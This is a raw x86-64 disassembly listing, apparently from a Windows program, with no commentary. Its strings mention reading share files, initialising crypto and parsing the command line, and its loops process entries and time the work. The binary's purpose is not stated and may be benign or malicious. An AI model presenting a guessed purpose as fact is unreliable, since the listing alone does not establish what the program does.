xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
xor r13d, r13d
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], r13
lea r8d, [r13 + 0x1b]
lea rdx, str.Failed_to_read_share_files_
lea rcx, [rbp + 0xb8]
call fcn.7ff674a36fe0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4dd4e
lea r8, [rbp + 0xb8]
lea edx, [r13 + 4]
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4dd4e
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x7ff674a4dd8f
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4dd8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6e9
call fcn.7ff674a8526c
mov r14, qword [rbp + 0x578]
jmp 0x7ff674a4e2a5
cmp qword [rbp + 0x590], 0
je 0x7ff674a4de6c
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x564]
call fcn.7ff674a42c50
cmp byte [rbp + 0x564], 0
jne 0x7ff674a4e00f
movzx eax, byte [rbp + 0x565]
cmp rdi, qword [rbp - 0x70]
je 0x7ff674a4ddde
test al, al
jne 0x7ff674a4e00f
movups xmm0, xmmword [rbp + 0x580]
movups xmmword [rbp + 0x220], xmm0
movups xmm1, xmmword [rbp + 0x590]
movups xmmword [rbp + 0x230], xmm1
mov qword [rbp + 0x590], r14
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r14w
mov r14, qword [rbp + 0x578]
test r14, r14
je 0x7ff674a4de33
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movzx eax, byte [rbp + 0x565]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x40], xmm0
mov byte [rsp + 0x28], al
mov eax, dword [rbp + 0x560]
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x550]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.7ff674a73960
jmp 0x7ff674a4e016
mov rbx, qword [rbp + 0x680]
mov rax, qword [rbp + 0x688]
cmp rbx, rax
je 0x7ff674a4df4f
mov r14, qword [rbp + 0x578]
mov r15, rax
mov esi, dword [rbp + 0x560]
nop dword [rax]
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x560]
call fcn.7ff674a42c50
cmp byte [rbp + 0x560], 0
jne 0x7ff674a4df2f
movzx r12d, byte [rbp + 0x561]
cmp rdi, qword [rbp - 0x70]
je 0x7ff674a4decb
test r12b, r12b
jne 0x7ff674a4df2f
mov rdx, rbx
lea rcx, [rbp + 0x510]
call fcn.7ff674a4fe30
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x120], xmm0
test r14, r14
je 0x7ff674a4defe
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movzx r12d, byte [rbp + 0x561]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x120], xmm0
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x550]
mov r8, rax
lea rdx, [rbp + 0x120]
mov rcx, r13
call fcn.7ff674a73960
add rbx, 0x20
cmp rbx, r15
jne 0x7ff674a4dea0
mov rsi, qword [rbp - 0x80]
mov r15, qword [rbp + 0x40]
mov r12d, 1
jmp 0x7ff674a4e016
mov rax, qword [rbp + 0x5a8]
mov qword [rsp + 0x60], rax
mov rbx, qword [rbp + 0x5a0]
cmp rbx, rax
je 0x7ff674a4e00f
add rbx, 0x20
mov r14, qword [rbp + 0x578]
mov rcx, rax
mov r15d, dword [rbp + 0x560]
mov rsi, qword [rbp - 0x70]
cmp byte [rbx + 1], 0
jne 0x7ff674a4dff2
cmp rdi, rsi
je 0x7ff674a4df94
cmp byte [rbx], 0
jne 0x7ff674a4dff2
movzx r12d, byte [rbx]
lea rdx, [rbx - 0x20]
lea rcx, [rbp + 0x530]
call fcn.7ff674a4fe30
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x70], xmm0
test r14, r14
je 0x7ff674a4dfc1
lock inc dword [r14 + 8]
mov r14, qword [rbp + 0x578]
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp - 0x70], xmm0
mov byte [rsp + 0x28], r12b
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x550]
mov r8, rax
lea rdx, [rbp - 0x70]
mov rcx, r13
call fcn.7ff674a73960
mov rcx, qword [rsp + 0x60]
add rbx, 0x28
lea rax, [rbx - 0x20]
cmp rax, rcx
jne 0x7ff674a4df84
mov rsi, qword [rbp - 0x80]
mov r15, qword [rbp + 0x40]
mov r12d, 1
jmp 0x7ff674a4e016
mov r14, qword [rbp + 0x578]
cmp dword [r13 + 0x34], 0
je 0x7ff674a4e026
mov rcx, qword [r13 + 0x20]
call fcn.7ff674a73620
mov rcx, qword [r13 + 0x10]
call fcn.7ff674a73620
mov rbx, qword [rbp + 0x570]
cmp dword [rbx + 0x34], 0
je 0x7ff674a4e045
mov rcx, qword [rbx + 0x20]
call fcn.7ff674a73620
mov rcx, qword [rbx + 0x10]
call fcn.7ff674a73620
mov rcx, qword [rbp + 0x50]
call fcn.7ff674a7ba10
xor edx, edx
mov rcx, qword [rbp + 0x50]
call fcn.7ff674a8526c
call fcn.7ff674a78e00
mov rbx, rax
call fcn.7ff674a78de4
cmp rbx, 0x989680
jne 0x7ff674a4e07e
imul rbx, rax, 0x64
jmp 0x7ff674a4e09f
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
sub rbx, rsi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x6c0]
call fcn.7ff674a87c70
mov edx, r12d
lea rcx, [rbp + 0x6c0]
call fcn.7ff674a3f150
movabs rax, 0x431bde82d7b634db
imul rbx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.7ff674a59d50
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xor r13d, r13d
mov qword [rbp + 0x68], r13
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], r13b
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rax
mov ecx, dword [rbp + 0x748]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x7ff674a4e153
mov rax, qword [rbp + 0x718]
mov r8, qword [rax]
test r8, r8
je 0x7ff674a4e153
mov rax, qword [rbp + 0x6f8]
mov rdx, qword [rax]
mov qword [rbp + 0x20], rdx
cmp r8, qword [rbp + 0x740]
cmovb r8, qword [rbp + 0x740]
sub r8, rdx
mov qword [rbp + 0x28], r8
jmp 0x7ff674a4e193
test cl, 4
jne 0x7ff674a4e18b
mov rax, qword [rbp + 0x710]
mov rcx, qword [rax]
test rcx, rcx
je 0x7ff674a4e18b
mov rax, qword [rbp + 0x6f0]
mov rdx, qword [rax]
mov qword [rbp + 0x20], rdx
mov rax, qword [rbp + 0x728]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
mov qword [rbp + 0x28], r8
jmp 0x7ff674a4e193
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
test rdx, rdx
je 0x7ff674a4e1a1
lea rcx, [rbp + 0x58]
call fcn.7ff674a3c0b0
lea rcx, [rbp + 0x6c0]
call fcn.7ff674a3b0a0
mov r8d, 3
lea rdx, [0x7ff674ad2be8]
lea rcx, [rbp + 0x58]
call fcn.7ff674a36ec0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], r13b
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4e21c
lea r8, [rbp - 0x60]
mov edx, 2
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4e21c
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x7ff674a4e257
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e252
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6ef
call fcn.7ff674a8526c
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x7ff674a4e2a2
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e29d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6ef
call fcn.7ff674a8526c
mov r12d, r13d
lea rcx, [rbp + 0x680]
call fcn.7ff674a44790
mov rdi, 0xffffffffffffffff
test r14, r14
je 0x7ff674a4e2f2
mov eax, edi
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x7ff674a4e2f2
mov rbx, qword [rbp + 0x578]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x7ff674a4e2f2
mov rcx, qword [rbp + 0x578]
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, edi
lock xadd dword [r15 + 8], eax
cmp eax, 1
jne 0x7ff674a4e3be
mov rax, qword [r15]
mov rcx, r15
call qword [rax]
lock xadd dword [r15 + 0xc], edi
cmp edi, 1
jne 0x7ff674a4e3be
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 8]
jmp 0x7ff674a4e3be
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0x13
lea rdx, str.Init_crypto_failed_
lea rcx, [rsp + 0x30]
call fcn.7ff674a36fe0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4e37e
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4e37e
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff674a4e3bb
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e3b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6f5
call fcn.7ff674a8526c
mov r12d, r13d
mov rcx, qword [rbp + 0x5a0]
test rcx, rcx
je 0x7ff674a4e4e5
mov rdx, qword [rbp + 0x5a8]
call fcn.7ff674a54ee0
mov rcx, qword [rbp + 0x5b0]
mov r8, qword [rbp + 0x5a0]
sub rcx, r8
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x7ff674a4e433
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e675
mov rcx, r8
call fcn.7ff674a8526c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], r13
jmp 0x7ff674a4e4e5
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
mov r8d, 0x1d
lea rdx, str.Command_line_to_argvW_failed_
lea rcx, [rsp + 0x30]
call fcn.7ff674a36fe0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4e4a5
lea r8, [rsp + 0x30]
mov edx, 4
call fcn.7ff674a3fdd0
mov rcx, qword [0x7ff674af5e58]
test rcx, rcx
je 0x7ff674a4e4a5
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x7ff674a4e4e2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e4dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e6fb
call fcn.7ff674a8526c
mov r12d, r13d
mov rdx, qword [rbp + 0x5d0]
cmp rdx, 8
jb 0x7ff674a4e52b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e526
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e675
call fcn.7ff674a8526c
mov qword [rbp + 0x5c8], r13
mov qword [rbp + 0x5d0], 7
mov word [rbp + 0x5b8], r13w
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 8
jb 0x7ff674a4e58b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e675
call fcn.7ff674a8526c
mov qword [rbp + 0x5f0], r13
mov qword [rbp + 0x5f8], 7
mov word [rbp + 0x5e0], r13w
mov rdx, qword [rbp + 0x598]
cmp rdx, 8
jb 0x7ff674a4e5eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x580]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e5e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e675
call fcn.7ff674a8526c
mov qword [rbp + 0x590], r13
mov qword [rbp + 0x598], 7
mov word [rbp + 0x580], r13w
mov rdx, qword [rbp + 0x6b8]
cmp rdx, 0x10
jb 0x7ff674a4e642
inc rdx
mov rcx, qword [rbp + 0x6a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff674a4e63d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff674a4e675
call fcn.7ff674a8526c
mov eax, r12d
mov rcx, qword [rbp + 0x840]
xor rcx, rsp
call fcn.7ff674a84ea0
lea r11, [rsp + 0x950]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
lea rcx, str.invalid_stoi_argument
call fcn.7ff674a77b28
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.7ff674a77b70
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3
call fcn.7ff674a8c94c
int3